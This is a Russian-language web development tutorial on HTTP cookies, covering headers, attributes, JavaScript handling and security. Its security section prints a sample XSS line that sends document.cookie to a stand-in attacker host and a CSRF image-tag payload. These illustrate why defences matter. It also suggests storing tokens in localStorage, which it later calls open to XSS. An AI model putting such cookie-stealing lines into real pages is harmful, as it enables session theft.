Как работает механизм Cookie?

Что такое Cookie

Cookie (печенье) — это небольшие текстовые файлы, которые браузер сохраняет на компьютере пользователя и отправляет серверу с каждым HTTP запросом. Они используются для хранения информации о пользователе, аутентификации, отслеживания и персонализации.

Как Cookie работают

1. Сервер отправляет Cookie

Когда сервер отправляет ответ клиенту, он включает заголовок Set-Cookie:

// HTTP ответ сервера
HTTP/1.1 200 OK
Set-Cookie: sessionId=abc123; Path=/; Max-Age=3600; HttpOnly; Secure; SameSite=Strict
Content-Type: application/json

2. Браузер сохраняет Cookie

Браузер автоматически сохраняет этот cookie и при каждом следующем запросе на тот же домен отправляет его в заголовке Cookie:

// HTTP запрос клиента
GET /api/profile HTTP/1.1
Host: example.com
Cookie: sessionId=abc123

Атрибуты Cookie

Основные атрибуты

// Устанавливаем cookie со всеми атрибутами
Set-Cookie: name=value; 
  Path=/;                    // Путь, где доступна cookie
  Domain=example.com;        // Домен
  Max-Age=3600;             // Время жизни в секундах
  Expires=Wed, 02 Apr 2025 12:00:00 GMT;  // Дата истечения
  HttpOnly;                 // Недоступна из JavaScript
  Secure;                   // Только через HTTPS
  SameSite=Strict;          // Защита от CSRF

Важные атрибуты

HttpOnly — критически важный атрибут для безопасности. Если установлен, cookie недоступна из JavaScript:

// Если HttpOnly НЕ установлен, можно читать/писать
document.cookie = 'sessionId=abc123; Path=/';  // Доступно
console.log(document.cookie);  // sessionId=abc123

// Если HttpOnly установлен, JavaScript не видит cookie
// document.cookie; // sessionId НЕ будет видна!

Secure — гарантирует, что cookie отправляется только через HTTPS:

// Обычный HTTP — cookie НЕ отправляется
http://example.com  // Cookie не включена

// HTTPS — cookie отправляется
https://example.com  // Cookie включена

SameSite — защита от атак CSRF (Cross-Site Request Forgery):

// Strict: cookie отправляется только для запросов с того же сайта
SameSite=Strict  // Самая безопасная

// Lax: cookie отправляется для навигации (GET), но не для POST из других сайтов
SameSite=Lax     // По умолчанию

// None: cookie отправляется везде (требует Secure)
SameSite=None; Secure  // Для кроссдоменных запросов

Работа с Cookie в JavaScript

Установка Cookie

// Простая установка
document.cookie = 'username=John';

// С атрибутами
const setCookie = (name, value, days = 7) => {
  const date = new Date();
  date.setTime(date.getTime() + (days * 24 * 60 * 60 * 1000));
  const expires = 'expires=' + date.toUTCString();
  
  document.cookie = `${name}=${value}; ${expires}; Path=/`;
};

setCookie('username', 'John', 7);  // Cookie на 7 дней

Чтение Cookie

// Все cookies в виде строки
console.log(document.cookie);  // 'username=John; theme=dark'

// Функция для получения конкретной cookie
const getCookie = (name) => {
  const nameEQ = name + '=';
  const cookies = document.cookie.split(';');
  
  for (let cookie of cookies) {
    cookie = cookie.trim();
    if (cookie.indexOf(nameEQ) === 0) {
      return cookie.substring(nameEQ.length);
    }
  }
  return null;
};

const username = getCookie('username');  // 'John'

Удаление Cookie

// Удаляем, установив Max-Age в 0
const deleteCookie = (name) => {
  document.cookie = `${name}=; Max-Age=0; Path=/`;
};

deleteCookie('username');

Типы Cookie

Session Cookie

// Без атрибута Expires/Max-Age
// Удаляется при закрытии браузера
Set-Cookie: sessionId=abc123; Path=/; HttpOnly

Persistent Cookie

// С атрибутом Expires
// Хранится на диске до указанной даты
Set-Cookie: userId=123; Expires=Wed, 02 Apr 2026 12:00:00 GMT; Path=/

Безопасность Cookie

Уязвимости

// XSS атака — злоумышленник получает доступ к cookie
// (если HttpOnly не установлен)
fetch('https://attacker.com/steal?cookie=' + document.cookie);

// CSRF атака — браузер автоматически отправляет cookie
// Форма на другом сайте отправляет запрос от вашего имени
<img src="https://bank.com/transfer?to=attacker&amount=1000" />

Защита

// 1. Используй HttpOnly
Set-Cookie: sessionId=abc123; HttpOnly; Secure; SameSite=Strict

// 2. Используй Secure для HTTPS
Set-Cookie: sessionId=abc123; Secure

// 3. Ограничь SameSite
Set-Cookie: sessionId=abc123; SameSite=Strict

// 4. Используй токены вместо cookies
// Хранишь JWT в памяти или localStorage (если нет чувствительных данных)
const token = localStorage.getItem('accessToken');
fetch('/api/profile', {
  headers: { 'Authorization': 'Bearer ' + token }
});

Cookies vs LocalStorage/SessionStorage

// Cookie
- Автоматически отправляются с каждым запросом
- Ограничение размера: 4KB
- Может быть установлена сервером или клиентом
- Поддержка атрибутов (HttpOnly, Secure, SameSite)

// LocalStorage/SessionStorage
- Отправляются только при явном запросе
- Больше памяти: ~5MB
- Только клиентское хранилище
- Доступны из JavaScript (уязвимы к XSS)

// Для безопасных данных (сессия, token) -> Cookie с HttpOnly
// Для публичных данных (тема, язык) -> LocalStorage

Владение механизмом cookie критично для разработки безопасных приложений и понимания веб-безопасности.